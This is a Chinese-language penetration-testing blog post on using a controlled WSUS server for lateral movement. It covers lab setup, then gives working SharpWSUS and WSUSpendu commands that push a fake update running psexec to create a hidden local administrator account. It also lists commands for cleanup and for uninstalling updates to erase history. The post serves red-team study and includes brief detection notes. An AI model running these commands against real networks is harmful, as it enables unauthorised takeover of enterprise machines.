渗透技巧 —— 通过 WSUS 进行横向移动
0x00 前言
在内网渗透中,当我们获得了 WSUS 服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在 BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。
参考资料:
- https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf
- https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/
- https://labs.nettitude.com/blog/introducing-sharpwsus/
0x01 简介
本文将要介绍以下内容:
- 环境搭建
- 利用思路
- 实现工具
- 行为检测
0x02 环境搭建
本节介绍 WSUS 服务器搭建的过程,通过配置客户端实现补丁的推送
1.WSUS 服务器搭建
WSUS 服务器需要安装在 Windows Server 操作系统
(1) 安装
在添加角色和功能页面,选择 Windows Server Update Services
需要指定补丁更新包的存放路径,这里可以设置为 C:\WSUS
(2) 配置
打开 Windows Server Update Services
进行配置
配置时选择默认选项即可,在选择 Download update information from Microsoft Update
时,点击 Start Connecting
,如果报错提示 An HTTP error has occurred
,经过我的多次测试,可以采用以下方法解决:
关闭当前页面
进入 Windows Server Update Services
,选择 synchronization
,点击 synchronization Now
,等待同步完成,如下图
选择 Options
,选择 WSUS Server Configuration Wizard
,重新进入配置页面,连接成功,如下图
配置完成后需要创建计算机组,如下图
当同步完成后,会提示下载了多少个补丁,如下图
选择 Updates
页面,可以查看已下载的补丁, Unapproved
表示未安装的补丁,安装后的补丁可以选择 Approved
进行查看,如下图
选中一个补丁,点击 Approve...
,弹出的对话框可以针对指定计算机组安装补丁,如下图
2.客户端配置
客户端只要是 Windows 系统即可,需要通过组策略配置
依次选择 Computer Configuration
-> Administrative Templates
-> Windows Components
-> Windows Update
,选择 Configure Automatic Updates
,设置成 Auto download and notify for install
,选择 Specify intranet Microsoft update service location
,设置更新服务器地址为 http://192.168.1.182:8530
注:
需要指定端口 8530
对于域环境,配置组策略后需要等待一段时间,这是因为组策略每 90 分钟在后台更新一次,随机偏移量为 0-30 分钟,如果想立即生效,可以输入命令: gpupdate /force
对于工作组环境,配置组策略可以立即生效
当客户端开始补丁更新时,WSUS 服务器会获得客户端的信息,并显示在 Computers
页面
组策略配置的操作等同于创建注册表,具体信息如下:
(1) 组策略配置自动更新后会创建注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
查询命令: REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
返回结果示例:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
UseWUServer REG_DWORD 0x1
NoAutoUpdate REG_DWORD 0x0
AUOptions REG_DWORD 0x3
ScheduledInstallDay REG_DWORD 0x0
ScheduledInstallTime REG_DWORD 0x3
其中 AUOptions
对应组策略配置中的 Configure automatic updating
, 2
代表 Notify for download and notify for install
, 3
代表 Auto download and notify for install
, 4
代表 Auto download and schedule the install
, 5
代表 Allow local admin to choose setting
(2) 组策略配置服务器地址后会创建注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
查询命令: REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
返回结果示例:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://192.168.112.182:8530
WUStatusServer REG_SZ http://192.168.112.182:8530
3.推送补丁
在 WSUS 服务器的 Windows Server Update Services
页面,选择指定补丁,右键点击 Approve...
,在弹出的对话框中选择计算机组即可
等待客户端到达补丁更新时间,即可完成补丁的推送
0x03 利用思路
如果我们能够生成一个带有 Payload 的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows 的补丁文件需要带有微软的签名
通常的利用方法是使用带有微软签名的程序,例如 psexec,通过 psexec 执行命令或者添加一个管理员用户
0x04 实现工具
开源的工具有以下三个:
- https://github.com/nettitude/SharpWSUS
- https://github.com/AlsidOfficial/WSUSpendu
- https://github.com/ThunderGunExpress/Thunder_Woosus
以上三个工具的实现原理基本相同,都是创建一个调用 psexec 执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁
创建补丁的操作需要连接 SQL 数据库,依次实现以下操作:
- ImportUpdate
- PrepareXMLtoClient
- InjectURL2Download
- DeploymentRevision
- PrepareBundle
- PrepareXMLBundletoClient
- DeploymentRevision
1. 创建补丁
SharpWSUS 在创建补丁时需要注意转义字符,命令示例:
SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
这条命令将会在 Updates
的 Security Updates
页面下创建 WSUSDemo
,如下图
2. 补丁部署
将补丁部署到指定计算机组,命令示例:
SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group"
这条命令会创建计算机组 Demo Group
,并且把 win-iruj9k30gr7
移动到该组下面,如下图
接下来需要等待客户端安装这个补丁
3. 查看补丁状态
查看补丁是否被安装,命令示例:
SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7
补丁未安装的输出如下:
[*] Action: Check Update
Targeting win-iruj9k30gr7
TargetComputer, ComputerID, TargetID------------------------------win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2
Update Info cannot be found.
[*] Check complete
还有一种查看方法是查看计算机的补丁更新时间,示例命令: SharpWSUS.exe inspect
输出示例:
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime---------------------------------------------computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM
win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM
为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图
4. 清除补丁信息
命令示例:
SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group"
这条命令会删除补丁,删除添加的计算机组
在整个补丁更新过程中,WSUS 服务器会将 psexec.exe 保存在 WSUS 服务器本地 C:\wsus\wuagent.exe
和 C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe
,需要手动清除
在测试 WSUSpendu 时,为了便于分析细节,可以修改以下代码:
[CmdletBinding()]
Param(
)
$PayloadFile = "psexec.exe"
$PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net localgroup Administrators Titi /add"'
$ComputerName = "win-iruj9k30gr7"
$Inject = 1
命令行执行: powershell -ep bypass -f WSUSpendu.ps1 -Verbose
,将会输出完整的信息
0x05 行为检测
客户端的补丁历史更新记录会保存所有的补丁安装信息:
如下图
但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:
- 查看更新:
wmic qfe list brief/format:table
- 卸载指定更新:
wusa /uninstall /kb:976902 /quiet /norestart
0x06 小结
本文介绍了通过 WSUS 进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: Zimbra-SOAP-API 开发指南5 —— 邮件转发
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论